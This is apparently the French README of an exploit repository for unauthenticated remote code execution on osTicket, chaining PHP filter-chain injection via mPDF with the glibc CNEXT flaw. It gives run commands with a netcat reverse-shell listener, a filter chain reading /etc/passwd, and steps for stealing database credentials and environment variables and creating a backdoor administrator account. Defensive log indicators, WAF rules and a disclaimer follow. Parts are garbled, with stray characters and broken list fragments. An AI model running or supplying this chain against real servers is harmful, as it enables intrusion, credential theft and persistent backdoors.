
Exploit en chaîne complète combinant l'injection de chaîne de filtres PHP avec CVE-2024-2961 (CNEXT) pour une exécution de code à distance sans authentification sur des installations osTicket vulnérables.
Chaîne d’exploitation complète combinant l’injection de chaîne de filtres PHP avec CVE-2024-2961 (CNEXT) pour une exécution de code à distance sans authentification sur des installations osTicket vulnérables.
Ce dépôt contient une preuve de concept d’exploitation pour CVE-2026-22200, une vulnérabilité critique touchant les versions d’osTicket ≤ 1.18.2. L’exploit associe deux techniques puissantes :
Résultat : Exécution de code à distance sans authentification sur les serveurs osTicket vulnérables.
Score CVSS : 9.8 (Critique)
L’intégration de mPDF dans osTicket permet à des utilisateurs non authentifiés d’injecter des chaînes de filtres PHP malveillantes via des charges utiles HTML spécialement conçues dans les tickets de support. Cela permet :
Cause racine : Validation insuffisante des URLs d’images dans le HTML fourni par l’utilisateur avant transmission à mPDF.
Score CVSS : 9.8 (Critique)
Dépassement de tampon dans iconv() de glibc lors du traitement du jeu de caractères ISO-2022-CN-EXT. Combiné avec des chaînes de filtres PHP, cela permet :
Versions de glibc vulnérables : < 2.39 (février 2024)
┌─────────────────────────────────────────────────────────────────┐
│ 1. RECONNAISSANCE │
│ └─ Détection d’osTicket, identification des sujets riches │
└─────────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────────┐
│ 2. AUTHENTIFICATION │
│ └─ Auto-inscription OU utilisation d’identifiants existants │
└─────────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────────┐
│ 3. EXFILTRATION DE FICHIERS (chaînes de filtres PHP) │
│ ├─ /etc/passwd │
│ ├─ include/ost-config.php (identifiants DB, SECRET_SALT) │
│ ├─ /proc/self/maps (agencement mémoire) │
│ └─ /proc/self/environ (variables d’environnement) │
└─────────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────────┐
│ 4. EMPREINTE DE LIBC │
│ ├─ Extraction partielle de libc via les chaînes de filtres │
│ ├─ Extraction du GNU Build ID │
│ └─ Téléchargement complet de libc depuis libc.rip │
└─────────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────────┐
│ 5. EXPLOITATION RCE PAR CNEXT │
│ ├─ Génération de la charge utile de corruption du tas │
│ ├─ Injection via réponse au ticket (avec corrections d’exécution des filtres) │
│ ├─ Déclenchement via export PDF (le serveur plante) │
│ └─ Exécution d’un reverse shell │
└─────────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────────┐
│ 6. POST-EXPLOITATION │
│ ├─ Reverse shell interactif │
│ ├─ Accès à la base de données (via DBPASS exfiltré) │
│ └─ Création d’un compte administrateur backdoor │
└─────────────────────────────────────────────────────────────────┘
# Cloner le dépôt
git clone https://github.com/Clarissss/osTicketFileReadIntoRCE
cd osTicketFileReadIntoRCE
# Installer les paquets requis
pip install -r requirements.txt
requirements.txt :
requests>=2.31.0
PyMuPDF>=1.23.0
Pillow>=10.0.0
pwntools>=4.11.0
python3 -m venv venv
source venv/bin/activate # Linux/macOS
# OU
venv\Scripts\activate # Windows
pip install -r requirements.txt
# Terminal 1 : Démarrer l’écouteur
nc -lvnp 4444
# Terminal 2 : Lancer l’exploit
python3 osticket_revshell.py https://cible.com/osticket \
--lhost VOTRE_IP \
--lport 4444
python3 osticket_exploit.py https://cible.com/osticket
# Utiliser un proxy (Burp Suite)
python3 osticket_revshell.py https://cible.com/osticket \
--lhost 10.0.0.5 \
--lport 4444 \
--proxy http://127.0.0.1:8080
# Forcer un ID de sujet spécifique
python3 osticket_exploit.py https://cible.com/osticket \
--topic-id 2
# Désactiver la sortie colorée (pour les logs)
python3 osticket_exploit.py https://cible.com/osticket --no-color
Si l’inscription est désactivée, les identifiants vous seront demandés :
python3 osticket_exploit.py https://cible.com/osticket
[?] Entrez l’email pour un nouveau compte (ou existant) : [email protected]
[?] Entrez le mot de passe : ********
L’exploit utilise une chaîne de filtres sophistiquée pour préfixer un en-tête BMP aux fichiers arbitraires, contournant les restrictions de type de fichier de mPDF :
php://filter/convert.iconv.UTF8.CSISO2022KR|
convert.base64-encode|
convert.iconv.UTF8.UTF7|
[... 50+ transformations iconv ...]
convert.base64-decode/resource=/etc/passwd
Innovation clé : Chaque caractère de l’en-tête BMP est généré via des transformations iconv soigneusement conçues, permettant d’intégrer le contenu d’un fichier arbitraire comme une image « valide ».
La charge utile CNEXT corrompt le gestionnaire de mémoire Zend de PHP en :
劄Fiabilité améliorée :
劄 au lieu de 1)Contrairement à l’exploit original, cette version utilise le balayage du système de fichiers pour garantir l’emplacement du webshell :
Résultat : Taux de détection de 100 % (contre ~50 % dans l’original)
Échec courant : le PDF se télécharge mais ne plante pas = les filtres ne s’exécutent pas.
Solutions mises en œuvre :
stream=True force le traitement immédiat# En mode verbeux, vérifiez :
[*] libc cible : /usr/lib/x86_64-linux-gnu/libc-2.31.so
[+] glibc 2.31 est vulnérable à CNEXT
Si glibc ≥ 2.39, CNEXT ne fonctionnera pas (corrigé).
Symptôme : Le serveur plante mais aucun reverse shell n’arrive
Causes :
Correction :
# Utiliser le reverse shell nc (plus court)
# Bascule automatiquement si bash/python est trop long
# Ou utiliser une IP directe au lieu d’un nom d’hôte
python3 osticket_revshell.py https://cible.com \
--lhost 10.0.0.5 \ # Utilisez l’IP, pas le nom d’hôte
--lport 4444
Indicateurs dans les logs :
# Logs Apache/Nginx
"php://filter/" dans les requêtes POST
"convert.iconv." dans les corps de requête
Modèles inhabituels de génération de PDF
Plusieurs requêtes PDF en peu de temps
# Logs d’erreur PHP
Segmentation faults pendant la génération de PDF
Plantages de iconv()
Erreurs de corruption du tas
Indicateurs réseau :
Désactiver les wrappers de flux PHP dans mPDF :
// Dans la config mPDF
$config = [
'allowedRemoteHosts' => [],
'enableRemoteFileAccess' => false,
];
Règles WAF (ModSecurity) :
SecRule REQUEST_BODY "@contains php://filter" \
"id:1000,phase:2,deny,status:403,msg:'Filtre PHP détecté'"
SecRule REQUEST_BODY "@contains convert.iconv" \
"id:1001,phase:2,deny,status:403,msg:'Chaîne iconv suspecte'"
Limitation de débit :
limit_req_zone $binary_remote_addr zone=ticket:10m rate=5r/m;
location /tickets.php {
limit_req zone=ticket burst=10;
}
system(), exec(), passthru()POUR USAGE ÉDUCATIF ET TESTS AUTORISÉS UNIQUEMENT
Cet outil est fourni pour :
L’ACCÈS NON AUTORISÉ À DES SYSTÈMES INFORMATIQUES EST ILLÉGAL
Les auteurs :
Les utilisateurs sont seuls responsables de s’assurer qu’ils disposent de l’autorisation appropriée avant de tester tout système.
En utilisant cet outil, vous acceptez que :
L’accès non autorisé à des systèmes informatiques est un crime en vertu de :
Les peines maximales peuvent inclure l’emprisonnement et des amendes importantes.
Ce projet est sous licence MIT License – voir le fichier LICENSE pour plus de détails.
Remarque : La licence MIT accorde la permission d’utiliser, de modifier et de distribuer, mais n’autorise PAS à attaquer des systèmes que vous ne possédez pas ou que vous n’êtes pas autorisé à tester.
Pour les chercheurs en sécurité et les questions :
N’utilisez PAS ce contact pour :
Conçu avec Amour pour la recherche en sécurité et l’éducation
Ajoutez une étoile à ce dépôt si vous l’avez trouvé utile !
Dernière mise à jour : 2026-03-03
| Erreur | Cause | Solution |
|---|
Pas de jeton CSRF | Session expirée | Relancer l’exploit |
Aucun sujet trouvé | Pas de sujets riches en texte | Utiliser --topic-id manuellement |
Build ID introuvable | libc partielle corrompue | Vérifier l’extraction de /proc/self/maps |
Impossible de localiser le tas | Agencement mémoire inhabituel | L’exploit peut échouer (rare) |
| Métrique | Valeur |
|---|
| Lignes de code | ~3 000 |
| Taux de succès | 95 %+ (avec les corrections) |
| Temps d’exécution moyen | 2‑3 minutes |
| Fiabilité du plantage | 99 % (avec améliorations) |
| Détection du webshell | 100 % (avec balayage) |